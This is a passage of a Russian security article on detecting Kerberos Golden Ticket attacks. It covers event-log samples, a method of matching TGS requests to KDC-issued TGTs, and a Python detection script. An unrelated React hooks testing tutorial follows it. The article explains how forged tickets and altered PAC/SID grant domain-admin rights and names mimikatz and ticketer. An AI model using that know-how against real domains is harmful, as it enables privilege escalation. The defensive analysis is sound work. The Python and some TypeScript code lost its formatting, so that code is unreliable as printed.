**Предлагаемый вариант:**
Можно воспользоваться логами 4769 — service ticket request на DC для поиска пользователей или доменов, которые не существуют [в среде](https://www.otorio.com/resources/the-practical-way-to-detect-golden-ticket-and-silver-ticket-attacks/) [[4](#scroll-bookmark-17)].
**В чем минус:**
Нет каких-либо ограничений, чтобы создать TGT билет под существующего в домене пользователя, например, доменного администратора.
#### Пример детекта 5
**Предлагаемый вариант:**Вооружившись Золотым билетом, злоумышленники могут запрашивать TGS для горизонтального перемещения и выполнения кода на удаленных системах. Мониторинг запросов TGS с использованием устаревшего механизма шифрования RC4 может представлять собой второй этап атаки Golden Ticket. Появление RC4 должно быть редкостью в современной сети, поскольку Windows Vista и Windows Sever 2008 и более поздние версии поддерживают шифрование [AES Kerberos](https://research.splunk.com/endpoint/kerberos_service_ticket_request_using_rc4_encryption/) [[5](#scroll-bookmark-17)].
**В чем минус:**
Приводя в пример этот способ детекта, коллеги также указывают, что его все равно можно обойти: *«Защитники должны иметь в виду, что если злоумышленник использует не хэш пароля NTLM, а ключ AES для создания Золотого билета, этот способ обнаружения можно обойти».*
Альтернативный способ детекта: теория
-------------------------------------
Как специалистам по информационной безопасности, нам важно понять какой метод детектирования Golden Ticket действительно работает и существует ли он? Изучив примеры детекта коллег, описанные выше, и поняв, какими минусами они обладают, выдвенем свою теорию детектирования как пример надежного способа обнаружения, после чего на практике попытаемся найти ее подтверждение.
Итак, в случае легитимной ситуации при запросе, например, доступа к серверу, пользователь получает два билета: TGT и следом за ним TGS. Это видно в шагах 1-4 на схеме на Рисунке 1. Шаг 5 реализует уже доступ к серверу с помощью TGS билета.
Рисунок 1.Стандартный алгоритм запроса билетов KerberosНо при атаке Golden Ticket шаги 1 и 2 отсутствуют.
Рисунок 2. Алгоритм запроса билетов Kerberos во время атакиАтакующему не нужно выполнять TGT запрос, так как он формирует билет самостоятельно на собственной локальной машине, поэтому злоумышленник сразу запрашивает TGS. Дальнейшие действия будут идентичны легитимной активности.
Общую логику детектирования можно свести к следующему: так как при атаке Golden Ticket атакующий использует локально сгенерированный TGT билет, то мы можем следить за выданными KDC билетами и позволять отдавать TGS билет только в том случае, если **был предъявлен TGT билет, выданный KDC ранее.** Как мы помним, пользователь домена получает TGT раз в 10 часов (стандартное поведение), поэтому TGT и TGS запрос могут не выполняться сразу, и есть смысл сохранять события получения TGT, как минимум, в течение этих 10 часов для каждого пользователя.
Теоретически стоит также наблюдать за типом шифрования, которое использует билеты, так как ленивые злоумышленники в основном крадут и пользуются NT-хэшем для создания билетов. NT-хэш использует MD5 шифрование и это отображается в логах как 0x17 в поле Ticket Encryption Type. Но у атакующего есть возможность воспользоваться любым типом шифрования, включая обычно используемый AES-256, поэтому строить свое правило детектирования только на типе шифрования неправильно.
При этом существует способ обойти ситуацию, когда у нас отсутствует запрос на TGT. Он заключается, как ни странно, в самом запросе TGT билета. Выполнить успешный AS\_REQ (запрос для получения TGT) можно только если мы знаем пароль пользователя.
Сразу возникает вопрос: тогда зачем нам Golden Ticket, если мы знаем пароль пользователя? На самом деле смысл есть: в TGT содержится **информация о правах пользователя (Privilege Attribute Certificate или PAC)**, и атакующий может расшифровать билет вместе с PAC, изменить права, зашифровать обратно и применить этот билет, сделав из обычного пользователя администратора домена. Если атаку провести таким образом, то детектирование на отсутствии запроса TGT будет бесполезным. В этом случае нам нужно наблюдать не только за событиями по выпуску билетов, а еще также и за Logon (Event ID == 4624) на всех Endpoint-машинах. Дело в том, что если SID пользователя не соответствует его имени, то это выглядит как минимум подозрительно. И это видно в Logon логах, вот пример:
 Рисунок 3. Лог несоответствия имени пользователя и его SIDXML версия лога
```
4624
2
0
12544
0
0x8020000000000000
6588501
Security
dc02.sea.land
S-1-0-0
-
-
0x0
S-1-5-21-3658376699-1331227660-3084883410-500
test
SEA.LAND
0x1e6f66
3
Kerberos
Kerberos
-
{3e3b5747-5b7e-fbac-b3e2-2c6b67173d32}
-
-
0
0x0
-
172.16.99.153
46858
%%1833
-
-
-
%%1843
0x0
%%1842
```
На скриншоте видно, что злоумышленник не сможет поменять имя пользователя так, чтобы пользователь подходил под SID. Ведь если он так сделает, то сработает правило на отсутствие TGT билета. Таким образом, создается замкнутый круг, на каждом этапе которого мы можем детектировать атаку:
Рисунок 4. Замкнутый круг детекта, в который попадает злоумышленникЧитатель, знающий о функции [PAC Validation](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84), задаст резонный вопрос: Почему мы просто не включим эту функцию и будем защищены от подделки PAC? По не до конца понятным причинам, PAC Validation не срабатывает при атаках Golden Ticket и Silver Ticket.
Слабое место такого подхода заключается в следующей ситуации: легитимный пользователь домена запросил TGT и использует его, при этом атакующий сгенерировал свой собственный TGT на этого же пользователя. Так как легитимному пользователю был выдан TGT и при этом не было изменения PAC, то поддельный TGT билет не попадёт под детект.
Эта ситуация показывает, что недостаточно просто смотреть на отсутствие TGT билета у пользователей: необходимо понимать какой конкретно билет был выдан KDC, а какой поддельный.
Вспомним, что при запросе TGS пользователю необходимо предоставить свой TGT билет. Он зашифрован и представляет собой лишь строку. Мы не можем посмотреть его данные полностью, но для нас это не так важно, так как для того, чтобы связать конкретные TGT и конкретные TGS билеты нужно лишь уникальное значение TGT билета. И зашифрованная строка – это как раз то, что нам необходимо. Этот шифр можно свободно просматривать в трафике запроса TGS, так как в тело этого запроса включён зашифрованный TGT. Важно напомнить, что зашифрованный TGT содержит в себе метку времени или timestamp, а также случайно сгенерированный ключ для дополнительной безопасности Session Key, что делает каждый конкретный TGT уникальным.
Если говорить про логику детектирования Golden Ticket, то здесь все довольно прозрачно: мы записываем в таблицу все TGT билеты, которые были выданы KDC. И при любом запросе TGS билета проверяем выдавал ли KDC тот TGT билет, который предоставляется.
Этот подход позволяет также детектировать изменение PAC в легитимно выданных билетах, так как если изменить только PAC и ничего более, то зашифрованная строка билета всё равно изменится и уже не пройдёт валидацию.
Ниже представлена схема, отражающая способы по возможным вариациям Golden Ticket.
Рисунок 5. Схема вариаций атак Golden TicketЕдинственный момент, не покрывающий такой детект – это ситуация, при которой злоумышленник имеет на руках пароль (или ключ) доменного или локального администратора. С такой информацией атакующий сможет расшифровать TGT билет пользователя и узнать timestamp и Session Key, который был применён. После чего использовать его для генерации собственного TGT билета. Но в таких случаях злоумышленнику не нужно использовать Golden Ticket, он может напрямую запросить TGT и TGS билеты абсолютно легитимно или использовать другие методы аутентификации.
Разбираем на практике
---------------------
Теперь нашу теорию нужно проверить на практике. Поэтому разберем, как предложенный нами способ детекта работает на самом деле. А именно, рассмотрим траффик, в котором видно содержание зашифрованного TGT билета при его получении от KDC и его применении для запроса TGS. Также рассмотрим почему логи Windows Event Log нам не сильно в этом помогут.
Как было сказано в разделе теории, в трафике запроса TGS мы можем увидеть зашифрованный TGT билет, который используется для запроса.
Примеры трафика из Wireshark:
* На первой картинке пример ответа AS-REP, который содержит зашифрованный TGT билет пользователя;
* На второй картинке мы видим шифр, который был получен в ответе на запрос.
Таким образом можно фиксировать какой TGT был применён для запроса конкретного TGS билета, что позволяет нам отслеживать использование поддельных TGT.
Рисунок 6.AS-REP с зашифрованным билетомРисунок 7.TGS-REQ, который использует тот же билет для запроса TGSЕсли злоумышленник попробует изменить только PAC структуру, и\или содержащийся в ней SID пользователя, то билет будет изменён что так же можно увидеть в трафике.
Измененная часть билета выделена на Рисунках 8 и 9.
Рисунок 8.TGS-REQ с стандартным "родным" SID пользователя"Рисунок 9. TGS-REQ с изменённым SID пользователяПопытка детектирования с помощью WinEventLog
--------------------------------------------
Для детектирования атак на Windows чаще всего используют стандартные встроенные логи, или Event Logs, так как они дают хорошую информативность и просты в использовании. Давайте посмотрим что в них можно отыскать, чтобы указывало на атаку Golden Ticket.
#### Domain controller (DC)
Контроллеры домена (DC), как машины для выдачи Kerberos билетов, будут содержать особые логи в которых мы можем отслеживать запросы и выдачу билетов. Такие логи нам более всего интересны.
При выполнении атаки, как и в случае с легитимной активностью, нами используется AES-256. Легитимный запрос TGS\_REQ на первой картинке и запрос TGS\_REQ при выполнении атаки на второй. Как видно, единственное отличие в этих двух событиях заключается в поле Ticket Options. Согласно документации Microsoft, наиболее популярные значения Ticket Options:
* 0x40810010 - Forwardable, Renewable, Canonicalize, Renewable-ok
* 0x40810000 - Forwardable, Renewable, Canonicalize
* 0x60810010 - Forwardable, Forwarded, Renewable, Canonicalize, Renewable-ok
Можно заметить, что значение 0x40810010 является частым явлением, поэтому если основываться только на данном факте, то мы получим множество ложных срабатываний, не говоря уже о возможности изменить это значение злоумышленником.
Рисунок 10. Легитимный запрос TGSXML версия лога
```
4769
0
0
14337
0
0x8020000000000000
6588729
Security
dc02.sea.land
DC02$@SEA.LAND
SEA.LAND
DC01$
S-1-5-21-3658376699-1331227660-3084883410-3101
0x40810000
0x12
::1
0
0x0
{dd98761a-55eb-0ae7-4028-61588c25405f}
-
```
Рисунок 11.Запрос TGS с применением Golden TicketXML версия лога
```
4769
0
0
14337
0
0x8020000000000000
6588746
Security
dc02.sea.land
test@SEA.LAND
SEA.LAND
ARM01$
S-1-5-21-3658376699-1331227660-3084883410-1134
0x40810010
0x12
::ffff:172.16.99.153
43594
0x0
{1f7ca762-3eef-0192-15e3-f07c9680d2a8}
-
```
#### Endpoint
Если рассматривать ситуацию с конечными устройствами, то события, происходящие с ними для нас не столь интересны. Нам доступны только события, отражающие вход пользователя, которые практически идентичны при атаке и при легитимном применении билетов.
Рисунок 12. Легитимный вход с использованием KerberosXML версия лога
```
4624
2
0
12544
0
0x8020000000000000
3370723
Security
vs01.sea.land
S-1-0-0
-
-
0x0
S-1-5-21-3658376699-1331227660-3084883410-1107
kchernyh
SEA.LAND
0x185bdae8
3
Kerberos
Kerberos
-
{77f17c0c-1ae7-f52b-a937-e80f093d5d85}
-
-
0
0x0
-
10.150.161.10
40840
%%1833
-
-
-
%%1843
0x0
%%1842
```
)")Рисунок 13. Вход с использованием Golden Ticket (найдите 10 отличий=))XML версия лога
```
4624
2
0
12544
0
0x8020000000000000
3370742
Security
vs01.sea.land
S-1-0-0
-
-
0x0
S-1-5-21-3658376699-1331227660-3084883410-1107
kchernyh
SEA.LAND
0x185c6c75
3
Kerberos
Kerberos
-
{f0f15c65-6158-5674-8da2-7b159ac7962e}
-
-
0
0x0
-
10.150.161.10
51870
%%1833
-
-
-
%%1843
0x0
%%1842
```
У лога 4624 (Logon) существует поле Logon GUID, которое коррелируется с Logon GUID в логе 4769 (Kerberos Service Ticket Operations). Эта корреляция может указывать на выдачу и применение одного и того же конкретного билета, что звучит очень полезно в нашем случае, но это касается только TGS билетов. Поддельные же TGT билеты, на которые и направлена атака, не содержат в себе поля Logon GUID и не могут быть ни с чем скоррелированны, что делает это поле бесполезным для нас, так как злоумышленник в любом сценарии атаки будет запрашивать легитимный TGS билет.
События с конечных устройств могут быть полезными, если атакующий использует TGT пользователя, к которому он знает пароль. В таком случае выполняется легитимный TGT запрос. Поскольку атакующий стремиться получить административные права, изменяя при этом PAC, то мы можем это увидеть в примере события: Security ID, который отвечает за права пользователя, не соответствует имени пользователя. Это отличный индикатор применения Golden Ticket с изменением прав существующего пользователя.
Рисунок 14. – Несоответствие имени пользователя и его SIDXML версия лога
```
4624
2
0
12544
0
0x8020000000000000
88901541
Security
arm01.sea.land
S-1-0-0
-
-
0x0
S-1-5-21-3658376699-1331227660-3084883410-500
simpleuser
SEA
0x15f26c
3
Kerberos
Kerberos
-
{1038D45C-DCEA-D52C-766A-ECC5A96D2DF7}
-
-
0
0x0
-
172.16.99.153
34966
%%1833
-
-
-
%%1843
0x0
%%1842
```
#### Ложка дегтя в событиях
Когда атакующий изменяет SID пользователя в структуре PAC от TGT билета, повышая тем самым свои привилегии до административных, нам важно наблюдать соответствие имени пользователя в полях *Security ID* и *Account Name*. Однако, это может не всегда корректно сработать, потому что Windows (если эта машина не является DC) кеширует пару SID/имя пользователя при его аутентификации без проверки принадлежности SID. Таким образом, мы можем получать примеры подобных событий:
* Аутентификация пользователя *simpleuser* с SID администратора
* Аутентификация пользователя kchernyh с SID администратора
* Аутентификация администратора
SID администратора всегда ассоциируется с пользователем *simpleuser* из-за того, что атакующий зашёл под этим пользователем с административными правами. Windows "запомнила" эту пару. Кэш очищается при перезагрузке машины. Поэтому здесь нужно обратить внимание на 2 важные вещи:
1. Такое происходит только на конечных устройствах. На контроллерах домена все работает корректно.
2. XML версия лога показывает истинный SID пользователя без преобразования его в имя, поэтому настоятельно рекомендуется собирать с конечных машин XML логи и сравнивая их уже впоследствии.
Подведем итог
-------------
Для эффективной защиты от данной атаки следует использовать трафик в качестве сборщика информации, а также реализовать таблицу TGT билетов, с помощью которой можно отслеживать как выпущенные TGT билеты, так и попытки использовать нелегитимные TGT билеты. Такой подход обеспечит детектирование как полностью поддельных билетов, так и частично изменённых билетов, например, в структуре PAC.
#### Proof of Сoncept (PoC)
Ниже представлен скрипт, ориентированный на трафик, как основу для детектирования. Он может применяться как детект в реальном времени или же для статических .pcap файлов.
```
import subprocess
import json
import threading
table = []
# Slicing the cipher just for memory economy
sliceCipher = 10
def loadPackets ():
return json.loads(subprocess.check_output(['tshark', '-r', 'golden-ticket.pcap', '-T', 'json', '-x']))
def writeToTable (username, cipher):
print ("I write to table:", username, cipher)
table.append({'username': username, 'cipher': cipher})
def checkTGS (username, cipher):
print("I check table:", username, cipher)
for record in table:
if record['username'] == username and record['cipher'] == cipher:
return True
def main ():
packets = loadPackets()
tgs_cipher = ''
for packet in packets:
packet = packet['_source']['layers']
if 'kerberos' in packet:
kerberos_ticket_name = list(packet['kerberos'].keys())[2]
packet = packet['kerberos'][kerberos_ticket_name]
if 'as_rep' in kerberos_ticket_name:
username = packet['kerberos.cname_element']['kerberos.cname_string_tree']['kerberos.CNameString']
cipher = packet['kerberos.ticket_element']['kerberos.enc_part_element']['kerberos.cipher_raw'][0][0:sliceCipher]
# Writing username and the cipher to the table
writeToTable(username, cipher)
if 'tgs_req' in kerberos_ticket_name:
tgs_cipher = packet['kerberos.padata_tree']['kerberos.PA_DATA_element']['kerberos.padata_type_tree']\
['kerberos.padata_value_tree']['kerberos.ap_req_element']['kerberos.ticket_element']['kerberos.enc_part_element']\
['kerberos.cipher_raw'][0][0:sliceCipher]
if 'tgs_rep' in kerberos_ticket_name:
if checkTGS(packet['kerberos.cname_element']['kerberos.cname_string_tree']['kerberos.CNameString'], tgs_cipher):
print('No attack')
else:
print('Golden Ticket Attack')
def printit():
threading.Timer(5.0, printit).start()
main()
printit()
```
#### Один из вариантов запуска скрипта:
1. Запустить сбор трафика в .pcap файл (нами использовался: *tshark -i tun0 -w golden-ticket.pcap*);
2. Указать в скрипте путь до .pcap файла для чтения и конвертации в JSON (я опять же использовал tshark);
3. Запустить скрипт.
#### Возможные утилиты для практики:
Имея на руках секретный ключ от сервисной учетной записи KBRGTможно в рамках домашней лаборатории попрактиковаться со следующими инструментами:
1. [ticketer](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) из скриптов Impacket;
2. [mimikatz](https://github.com/gentilkiwi/mimikatz) также может это делать.
#### Возможные варианты реагирования:
Если стало известно о краже ключа учётной записи KRBTGT, то существует процедура по его изменению. Только она чуть сложнее в организационном плане, чем для любого другого пользователя в домене. Важно сменить пароль дважды (так как старый пароль сохраняется в истории паролей и будет считаться валидным) на всех контроллерах домена. Microsoft предоставляет Powershell скрипт специально для этого и рекомендует менять пароль KBRGTкаждые 180 дней.
Теперь вы знаете еще один успешный практический пример детекта Золотого билета. Надеемся, что предложенный нами способ окажется вам полезным. Спасибо всем за внимание! Пишите комментарии, задавайте вопросы – будем рады! :-) | https://habr.com/ru/post/686784/ | null | ru | null |
# Пишем собственные React-хуки на TypeScript и тестируем их с React Testing Library (часть 1)
Думаю, React-хуки не нуждаются в особом представлении, поэтому можно пропустить их описание и приступить сразу к делу.
Если вы хотите посмотреть исходный код, то можете посетить этот [репозиторий](https://github.com/kirillshvets97/custom-react-hooks-demo) на GitHub.
Минимальные требования
----------------------
Данная статья предполагает, что у вас уже есть хотя бы минимальный опыт работы с React-хуками. Например, с такими как `useEffect`, `useState` и `useRef`. Также желателен опыт работы с TypeScript, Jest и React Testing Library.
Вы можете настроить инструменты тестирования самостоятельно, но для быстрого старта я рекомендую использовать утилиту [Create React App](https://create-react-app.dev/docs/getting-started/), которая предоставляет возможность тестирования с использованием Jest и React Testing Library [«из коробки»](https://create-react-app.dev/docs/running-tests/).
Если вы хотите использовать (или уже используете) Next.js, то вы можете узнать как настроить Jest и React Testing Library для Next.js [здесь](https://nextjs.org/docs/testing).
Что мы будем делать
-------------------
Наша главная цель — написать собственные React-хуки на TypeScript и протестировать их, получив 100%-е покрытие тестами.
Здесь сразу стоит оговориться, что не всегда 100%-е покрытие действительно необходимо в вашем приложении. Но в данном материале мы все равно попытаемся достичь его, чтобы поближе познакомиться с тестированием хуков.
Приступаем к работе
-------------------
Для демонстрации я буду использовать приложение, созданное с помощью Create React App.
```
# npx
npx create-react-app custom-react-hooks-demo --template typescript
# yarn
yarn create react-app custom-react-hooks-demo --template typescript
```
**Важное обновление.** На момент написания оригинальной статьи React 18 еще не был выпущен. На данный момент пакет `react-hooks-testing-library` [не поддерживает React 18](https://github.com/testing-library/react-hooks-testing-library#a-note-about-react-18-support) — сейчас он объединен с пакетом `react-testing-library`. Если вы используете React 18, то вы можете использовать пакет `react-testing-library` версии 13.1.0 или выше и пропустить этот раздел.
Далее, нам нужно установить пакет `react-hooks-testing-library`.
```
# npm
npm i @testing-library/react-hooks --save-dev
# yarn
yarn add @testing-library/react-hooks -D
```
Данный пакет предоставляет набор утилит, существенно упрощающих тестирование хуков. Познакомиться с ним более подробно вы можете в [документации](https://react-hooks-testing-library.com/).
Подписка на клик вне элемента
-----------------------------
Давайте представим, что у нас на странице есть модальное окно (или что-нибудь похожее), которое мы хотим закрыть не только по «крестику», но и по клику вне этого самого модального окна. Попробуем решить задачу с помощью хуков.
Для решения этой задачи нам потребуется хук, с помощью которого можно будет реагировать внутри компонента на событие клика. Реализация хука выглядит следующим образом:
```
import { RefObject, useEffect, useRef } from 'react';
const useOutsideClick = (
ref: RefObject,
callback: (event: Event) => void,
) => {
const callbackRef = useRef(callback);
useEffect(() => {
callbackRef.current = callback;
}, [callback]);
useEffect(() => {
const handler: EventListener = (event) => {
const { current: target } = ref;
if (target && !target.contains(event.target as HTMLElement)) {
callbackRef.current(event);
}
}
document.addEventListener('click', handler);
return () => document.removeEventListener('click', handler);
}, [ref]);
}
export default useOutsideClick;
```
Внутри хука `useOutsideClick` создается функция `handler`, используемая в качестве обработчика события. Данный обработчик проверяет, что элемент `event.target` не является потомком элемента `ref.current` (также проверяется, что `event.target` и `ref.current` не являются одним и тем же элементом) и вызывает переданный в хук коллбэк, если событие клика произошло действительно вне элемента.
Обратите внимание, что мы сохраняем переданный коллбэк в реф и обновляем его при необходимости, чтобы гарантировать использование всегда актуального коллбэка без пересоздания обработчика события.
Теперь можно переходить к тестам. Рассмотрим тест для хука `useOutsideClick`:
```
import { fireEvent } from '@testing-library/react';
import { renderHook } from '@testing-library/react-hooks';
import useOutsideClick from './useOutsideClick';
describe('useOutsideClick', () => {
test('should handle outside click', () => {
const target = document.createElement('div');
document.body.appendChild(target);
const outside = document.createElement('div');
document.body.appendChild(outside);
const ref = {
current: target,
};
const callback = jest.fn();
const view = renderHook(() => useOutsideClick(ref, callback));
expect(callback).toHaveBeenCalledTimes(0);
fireEvent.click(outside);
expect(callback).toHaveBeenCalledTimes(1);
// Тестируем, что "removeEventListener" работает корректно,
// проверяя после размонтирования, что коллбэк вызывался только один раз.
jest.spyOn(document, 'removeEventListener');
view.unmount();
expect(document.removeEventListener).toHaveBeenCalledTimes(1);
fireEvent.click(outside);
expect(callback).toHaveBeenCalledTimes(1);
});
test('should do nothing after click on the target element', () => {
const target = document.createElement('div');
document.body.appendChild(target);
const ref = {
current: target,
};
const callback = jest.fn();
renderHook(() => useOutsideClick(ref, callback));
expect(callback).toHaveBeenCalledTimes(0);
fireEvent.click(target);
expect(callback).toHaveBeenCalledTimes(0);
});
});
```
Как вы знаете, хуки могут быть вызваны только внутри тела функционального компонента. Данный факт заставлял бы нас создавать внутри теста дополнительный компонент-обертку, который нужен только ради вызова тестируемого хука.
Использование метода `renderHook` позволяет нам протестировать хук без написания дополнительного компонента, оборачивая тестируемый хук так, как если бы он был вызван внутри настоящего функционального компонента.
Для тестирования хука `useOutsideClick` потребуется создать два HTML-элемента — первым будет сам целевой элемент, сохраненный как `target` (клик по нему не должен инициировать вызов коллбэка), вторым будет элемент, который находится за пределами первого, сохраненный как `outside`.
В первом кейсе проверяется, что клик по элементу `outside` инициирует вызов коллбэка. Для этого достаточно сымитировать событие клика на элементе `outside` и проверить, что коллбэк был вызван верное количество раз.
Хорошим тоном будет также проверить, что зарегистрированный обработчик события был удален при размонтировании. Для этого необходимо проверить, что метод `document.removeEventListener` был вызван при размонтировании, а затем повторно сымитировать клик по элементу `outside` и убедиться, что количество вызовов коллбэка не изменилось.
Во втором же кейсе проверяется, что клик по целевому элементу не инициирует вызов коллбэка. Здесь все еще проще, чем в первом кейсе — необходимо лишь проверить, что количество вызовов коллбэка до и после клика равно нулю, что означает, что коллбэк не вызывался.
Подписка на нажатие клавиши
---------------------------
Едем дальше. Давайте представим, что нам необходимо закрывать все то же самое модальное окно, но теперь по нажатию клавиши Escape.
Решение этой задачи очень похоже на предыдущее — нам снова потребуется хук, с помощью которого можно реагировать внутри компонента на событие, но теперь уже не клика, а нажатия клавиши. Вот так это выглядит:
```
import { useEffect, useRef } from 'react';
const useKeydown = (key: string, callback: (event: Event) => void) => {
const callbackRef = useRef(callback);
useEffect(() => {
callbackRef.current = callback;
}, [callback]);
useEffect(() => {
const handler: EventListener = (event) => {
if ((event as KeyboardEvent).key === key) {
callbackRef.current(event);
}
}
document.addEventListener('keydown', handler);
return () => document.removeEventListener('keydown', handler);
}, [key]);
}
export default useKeydown;
```
Внутри этого хука мы снова видим функцию `handler`, которая используется в качестве обработчика события. Однако в этот раз внутри обработчика происходит сравнение не элементов, а [ключей события](https://developer.mozilla.org/ru/docs/Web/API/KeyboardEvent/key) (подразумевается наименование нажатой клавиши) — сравнивается свойство `event.key` с параметром `key`, переданным в сам хук. В случае если нажата верная клавиша (когда `event.key` совпадает с `key`) будет вызван переданный в хук коллбэк.
Стоит обратить внимание, что мы снова используем прием с сохранением переданного коллбэка в реф и обновляем его при необходимости.
Больше ничего примечательного в коде хука нет, так как он достаточно простой, поэтому можно переходить к тестам. Рассмотрим тест для хука `useKeydown`:
```
import { fireEvent } from '@testing-library/react';
import { renderHook } from '@testing-library/react-hooks';
import useKeydown from './useKeydown';
describe('useKeydown', () => {
test('should handle keydown event', () => {
const callback = jest.fn();
const event = new KeyboardEvent('keydown', {
key: 'Escape',
});
const view = renderHook(() => useKeydown('Escape', callback));
expect(callback).toHaveBeenCalledTimes(0);
fireEvent(document, event);
expect(callback).toHaveBeenCalledTimes(1);
// Тестируем, что "removeEventListener" работает корректно,
// проверяя после размонтирования, что коллбэк вызывался только один раз.
jest.spyOn(document, 'removeEventListener');
view.unmount();
expect(document.removeEventListener).toHaveBeenCalledTimes(1);
fireEvent(document, event);
expect(callback).toHaveBeenCalledTimes(1);
});
test('shouldn`t handle unnecessary keydown event', () => {
const callback = jest.fn();
const event = new KeyboardEvent('keydown', {
key: 'Enter',
});
renderHook(() => useKeydown('Escape', callback));
expect(callback).toHaveBeenCalledTimes(0);
fireEvent(document, event);
expect(callback).toHaveBeenCalledTimes(0);
});
});
```
Как и сам хук, тесты для него также получились очень похожи на тесты для предыдущего хука.
Для тестирования хука `useKeydown` потребуется сымитировать событие нажатия клавиши. Для этого можно создать объект такого события с помощью конструктора `KeyboardEvent`, указав клавишу, нажатие который мы хотим сымитировать.
В первом кейсе проверяется, что нажатие клавиши Escape действительно приведет к вызову коллбэка — с помощью конструкции `fireEvent(document, event)` выполняется вызов созданного нами события на объекте `document`, а также проверяется количество вызовов коллбэка.
Во втором кейсе проверяется уже ситуация когда была нажата не та клавиша, которую мы указали при создании объекта события `KeyboardEvent`. Здесь снова все очень похоже на аналогичный кейс из первого теста, поэтому особо останавливаться на этом не будем.
Подписка на изменение состояния медиа-запроса
---------------------------------------------
Давайте немного усложним задачу. А что, если мы хотим удалять какой-то компонент из DOM-дерева по достижению определенной ширины нашего вьюпорта? Например, в случае когда иметь два разных компонента — один для десктопных устройств, а второй для мобильных устройств — удобнее, чем манипулировать стилями через медиа-запросы.
На такой случай мы можем использовать `window.matchMedia` внутри хука для проверки медиа-запроса и подписки на изменение состояния возвращаемого объекта `MediaQueryList`. Благодаря свойству `matches` из объекта `MediaQueryList` мы можем определить удовлетворяет ли страница нашему медиа-запросу и использовать его в качестве возвращаемого хуком значения.
Также нам понадобится отслеживать изменение состояния медиа-запроса, чтобы сообщить об этом компоненту, использующему данный хук. Давайте посмотрим на код:
```
import { useEffect, useState } from 'react';
const useMediaQuery = (query: string) => {
const [matches, setMatches] = useState(false);
useEffect(() => {
let mounted = true;
const mediaQueryList = window.matchMedia(query);
setMatches(mediaQueryList.matches);
const handler = (event: MediaQueryListEvent) => {
if (!mounted) {
return;
}
setMatches(event.matches);
}
if (mediaQueryList.addListener) {
// Методы "addListener" и "removeListener" помечены как устраевшие на MDN,
// но их необходимо использовать, т.к. в Safari < 14 методы
// "addEventListener" и "removeEventListener" не поддерживаются.
// https://caniuse.com/mdn-api_mediaquerylist
mediaQueryList.addListener(handler);
} else {
mediaQueryList.addEventListener('change', handler);
}
return () => {
mounted = false;
if (mediaQueryList.removeListener) {
mediaQueryList.removeListener(handler);
} else {
mediaQueryList.removeEventListener('change', handler);
}
}
}, [query]);
return Boolean(matches);
}
export default useMediaQuery;
```
Для подписки на изменение состояния медиа-запроса нам понадобится обработчик, который будет сохранять значение `matches` из объекта `MediaQueryListEvent`. Это значение будет установлено как текущее и возвращено хуком.
Отслеживать изменение состояния медиа-запроса можно с помощью методов `addEventListener` и `removeEventListener` и события `change`. Но здесь есть существенный нюанс — в Safari ниже 14-й версии данные методы не поддерживаются, поэтому необходимо использовать `addListener` и `removeListener`.
Очень важно обновлять текущее значение внутри хука только если компонент, использующий данный хук, смонтирован. В противном случае React сообщит об ошибке при попытке обновления состояния внутри размонтированного компонента. Пример такой ошибки можно увидеть ниже:
Теперь можно переходить к тестированию. Однако стоит отметить, что тесты для данного хука на порядок сложнее предыдущих двух из-за более сложной логики внутри самого хука, а также из-за использования мока в тестах. Рассмотрим тест для хука `useMediaQuery`:
```
import { act } from '@testing-library/react';
import { renderHook } from '@testing-library/react-hooks';
import useMediaQuery from './useMediaQuery';
const matchMediaMock = {
handlers: [] as Array<(event: MediaQueryListEvent) => void>,
mock(matches: boolean) {
return {
matches,
addEventListener: (event: string, handler: (event: MediaQueryListEvent) => void) => {
this.handlers.push(handler);
},
removeEventListener: jest.fn(),
}
},
dispatchEvent(event: MediaQueryListEvent) {
this.handlers.forEach((handler) => handler(event));
},
}
describe('useMediaQuery', () => {
afterAll(() => {
jest.clearAllMocks();
});
describe('with "addEventListener" and "addRemoveListener"', () => {
test('should return true if media query matches', () => {
window.matchMedia = jest.fn().mockImplementation(() => matchMediaMock.mock(true));
const view = renderHook(() => useMediaQuery('(min-width: 1024px)'));
expect(view.result.current).toEqual(true);
});
test('should return false if media query doesn`t match', () => {
window.matchMedia = jest.fn().mockImplementation(() => matchMediaMock.mock(false));
const view = renderHook(() => useMediaQuery('(min-width: 1024px)'));
expect(view.result.current).toEqual(false);
});
test('should handle change event', () => {
window.matchMedia = jest.fn().mockImplementation(() => matchMediaMock.mock(true));
const view = renderHook(() => useMediaQuery('(min-width: 1024px)'));
expect(view.result.current).toEqual(true);
act(() => {
matchMediaMock.dispatchEvent({ matches: false } as MediaQueryListEvent);
});
expect(view.result.current).toEqual(false);
});
});
describe('with "addListener" and "removeListener"', () => {
test('should return true if media query matches', () => {
window.matchMedia = jest.fn().mockImplementation(() => ({
matches: true,
addListener: jest.fn(),
removeListener: jest.fn(),
}));
const view = renderHook(() => useMediaQuery('(min-width: 768px)'));
expect(view.result.current).toEqual(true);
});
test('should return false if media query doesn`t match', () => {
window.matchMedia = jest.fn().mockImplementation(() => ({
matches: false,
addListener: jest.fn(),
removeListener: jest.fn(),
}));
const view = renderHook(() => useMediaQuery('(min-width: 1024px)'));
expect(view.result.current).toEqual(false);
});
});
});
```
Поскольку Jest не распознает метод `window.matchMedia` (даже при использовании JSDOM в качестве окружения), нам необходимо использовать хелпер, который создает мок объекта `MediaQueryList` с принудительно заданным свойством `matches`.
Созданный мок содержит метод `addEventListener`, который сохраняет каждый переданный в него коллбэк, который должен быть вызван при изменении состояния медиа-запроса. Сам хелпер для создания мока также содержит метод `dispatchEvent`, который инициирует вызов всех сохраненных ранее коллбэков, передавая им в качестве аргумента объект `MediaQueryListEvent` — значение свойства `matches` из данного объекта будет использовано внутри хука `useMediaQuery` при обновлении состояния.
Первые два кейса просто проверяют, что возвращаемое хуком значение совпадает со значением свойства `matches` из объекта `MediaQueryList` при монтировании .
В третьем кейсе происходит самое интересное — выполняется проверка, что хук правильно реагирует на изменение состояния медиа-запроса и возвращает корректное текущее значение. Данная проверка реализуется с помощью метода `matchMediaMock.dispatchEvent`, который инициирует вызов сохраненного ранее обработчика для обновления текущего значения внутри самого хука.
В четвертом и пятом кейсах выполняется проверка того, что внутри хука используются методы `addListener` и `removeListener` для подписки на состояние медиа-запроса (вместо `addEventListener` и `removeEventListener`), если они реализованы в объекте `MediaQueryList`.
Считаем покрытие
----------------
